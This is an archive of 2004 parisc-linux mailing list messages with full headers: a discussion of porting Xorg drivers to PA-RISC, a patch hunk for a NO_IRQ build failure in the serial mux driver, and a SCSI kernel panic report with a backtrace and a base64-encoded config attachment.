> > However, a biggerproblem with Xorg (as I see it) is that it's not
> > natively ported to parisc.
>
> I haven't built the Xorg tree yet, still using XFree86 until I have some
> free time. What loader is the Xorg tree using? I assume it still has the
> builtin ELF loader with symbol hacks? In which case you need to do
> relocation handling, and we never ported this :)
>

I had no problems building/running Xorg - for me the build just worked
right away ?

Here, I'm talking about the driver/hardware pieces of Xorg - which
contain lots of platform specific code. As we know, Xorg/XFree drivers
(except fbdev) interact directly with the graphics hardware, which makes
for instance endianness, an issue. Each supported platform has its
own set of io-access funtions declared/defined - however no such funtions
are defined for the hppa architecture.

A first step in the process of porting the native Xorg/XFree drivers to
parisc is therefore to add raw io access methods. mmap() from userspace
works, but I got a bit uncertain when I saw that memory-mapped io is disabled in
the kernel.

How's the memory-mapped io development going?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Sun, 19 Dec 2004 17:52:46 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20041219225246.GG25304@baldric.uwo.ca>
References: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
	<20041219203417.GE25304@baldric.uwo.ca>
	<Pine.GSO.4.58.0412192218090.4208@panter.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624512 26495 80.91.229.3 (22 Nov 2014 02:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Ivar <orskaug@stud.ntnu.no>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 22:54:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 19 Dec 2004 23:54:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D50F93BE73; Sun, 19 Dec 2004 15:54:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15193-08; Sun, 19 Dec 2004 15:54:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BBB613BE71; Sun, 19 Dec 2004 15:53:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F02433BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 15:52:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15164-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 15:52:53 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 071693BE67
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 15:52:52 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B3CAD495617; Sun, 19 Dec 2004 15:52:52 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 8BA85495612
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Dec 2004 15:52:52 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Cg9uw-0000EM-00; Sun, 19 Dec 2004 17:52:47 -0500
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.58.0412192218090.4208@panter.stud.ntnu.no>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (25% Sync Ratio [===.......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25031

On Sun, Dec 19, 2004 at 10:53:09PM +0100, Ivar wrote:
> As of now the patch is still very experimental - I'll devote some more
> spare time for this during christmas.
> 
> Recently, I've also done some naive attemts to port the Xorg/XFree mga
> driver to parisc - with the exception of a few minor bugs (displacement of
> the HW accelerated cursor), it works OK - so, I have my hopes up for this
> too :)
> 
> However, a biggerproblem with Xorg (as I see it) is that it's not
> natively ported to parisc.

I haven't built the Xorg tree yet, still using XFree86 until I have some
free time. What loader is the Xorg tree using? I assume it still has the
builtin ELF loader with symbol hacks? In which case you need to do
relocation handling, and we never ported this :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.10-pa1 build failure [drivers/serial/mux.c]
Date: Sun, 26 Dec 2004 02:12:19 -0500
Organization: wh0rd.org
Lines: 21
Approved: news@gmane.org
Message-ID: <200412260212.19982.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624512 26498 80.91.229.3 (22 Nov 2014 02:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 07:13:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 26 Dec 2004 08:13:18 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 47C343BE4B; Sun, 26 Dec 2004 00:13:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31377-07; Sun, 26 Dec 2004 00:13:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AECC13BE4C; Sun, 26 Dec 2004 00:12:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DCBB3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 00:12:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30145-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 00:12:21 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 920E53BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 00:12:21 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 41D00495694; Sun, 26 Dec 2004 00:12:21 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id C6650495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 00:12:20 -0700 (MST)
Original-Received: (qmail 7393 invoked from network); 26 Dec 2004 02:12:16 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 26 Dec 2004 02:12:16 -0500
Original-Received: (qmail 23529 invoked from network); 26 Dec 2004 02:12:12 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 26 Dec 2004 02:12:12 -0500
User-Agent: KMail/1.7.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25032

this hunk is bum:
--- LINUS_2_6_10/drivers/serial/mux.c
+++ CVS2_6_10_PA1/drivers/serial/mux.c
-       port->irq   = SERIAL_IRQ_NONE;
+       port->irq   = NO_IRQ;

NO_IRQ isnt defined in any headers, but the serial_core.c has a similar hunk:

--- LINUS_2_6_10/drivers/serial/serial_core.c
+++ CVS2_6_10_PA1/drivers/serial/serial_core.c
+#ifndef NO_IRQ
+#define NO_IRQ (-1)
+#endif
+   if (port->irq == NO_IRQ) {
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Sun, 26 Dec 2004 05:04:40 -0500
Organization: wh0rd.org
Lines: 267
Approved: news@gmane.org
Message-ID: <200412260504.40205.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_4yozB+Xdw98yPLC"
X-Trace: ger.gmane.org 1416624512 26503 80.91.229.3 (22 Nov 2014 02:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 10:05:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx069) with SMTP; 26 Dec 2004 11:05:20 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 984933BE4C; Sun, 26 Dec 2004 03:05:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01555-06; Sun, 26 Dec 2004 03:05:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CA6C63BE4F; Sun, 26 Dec 2004 03:04:58 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAB5F3BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 03:04:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01555-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 03:04:51 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 97B7A3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 03:04:51 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 29671495694; Sun, 26 Dec 2004 03:04:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 37B77495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 03:04:50 -0700 (MST)
Original-Received: (qmail 29396 invoked from network); 26 Dec 2004 05:04:41 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 26 Dec 2004 05:04:41 -0500
Original-Received: (qmail 4207 invoked from network); 26 Dec 2004 05:04:33 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 26 Dec 2004 05:04:33 -0500
User-Agent: KMail/1.7.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25033

--Boundary-00=_4yozB+Xdw98yPLC
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

seems to be a new bug because building a 2.6.8.1-pa7 kernel with same .config 
works fine while a 2.6.10-pa1 panics ;(

find attached:
2.6.10-pa1-scsi-panic - dmesg output from scsi driver up through panic
2.6.8.1-pa11-dmesg - scsi dmesg output from a good kernel
config.bz2 - my .config from 2.6.10-pa1

build system:
gcc-3.3.5 + binutils-2.15.92.0.2
-mike

--Boundary-00=_4yozB+Xdw98yPLC
Content-Type: text/plain; charset="us-ascii"; name="2.6.10-pa1-scsi-panic"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-panic"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6: wide asynchronous.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9: asynchronous.
sym0:9: wide asynchronous.
Backtrace:
 [<102a51a8>] sym_ppr_nego+0x44/0xe0
 [<1029d6ec>] sym53c8xx_intr+0x30/0x80
 [<10106ca8>] do_irq+0x158/0x160
 [<102424d4>] dino_isr+0xf0/0x100
 [<10106ca8>] do_irq+0x158/0x160
 [<10106dac>] do_cpu_irq_mask+0xfc/0x10c
 [<1010c068>] intr_return+0x0/0x14
 [<1022ab20>] idr_get_new_above_int+0x98/0x15c
 [<1017442c>] generic_permission+0xa8/0x1a0
 [<10162ca0>] shmem_symlink+0x1d8/0x244
 [<1017758c>] vfs_rmdir+0x12c/0x254
 [<10112744>] cpu_idle+0x38/0x3c
 [<10440804>] start_kernel+0x1b8/0x1e4


Kernel Fault: Code=13 regs=10434640 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 ffffffff 104345c8 00000000
r04-07  10fbd000 00000000 00000010 00000001
r08-11  0000000a 10fbd310 00000009 00000000
r12-15  103ff810 00000000 000000fd f0100000
r16-19  10434140 f0000154 f000014c 02625a00
r20-23  fffffffc 00000000 ffffffff 104345c9
r24-27  0000000a 00000000 01312cff 103d3010
r28-31  000000fa 10400188 10434640 102a0810
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1023112c 10231130
 IIR: b3202000    ISR: 10240001  IOR: 0d034630
 CPU:        0   CR30: 10434000 CR31: 10438000
 ORIG_R28: 00000000
 IAOQ[0]: $$divU+0xc/0x210
 IAOQ[1]: $$divU+0x10/0x210
 RP(r2): 0x104345c8
Kernel panic - not syncing: Kernel Fault
 <0>Rebooting in 3 seconds..

--Boundary-00=_4yozB+Xdw98yPLC
Content-Type: application/x-bzip2;
  name="config.bz2"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="config.bz2"

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
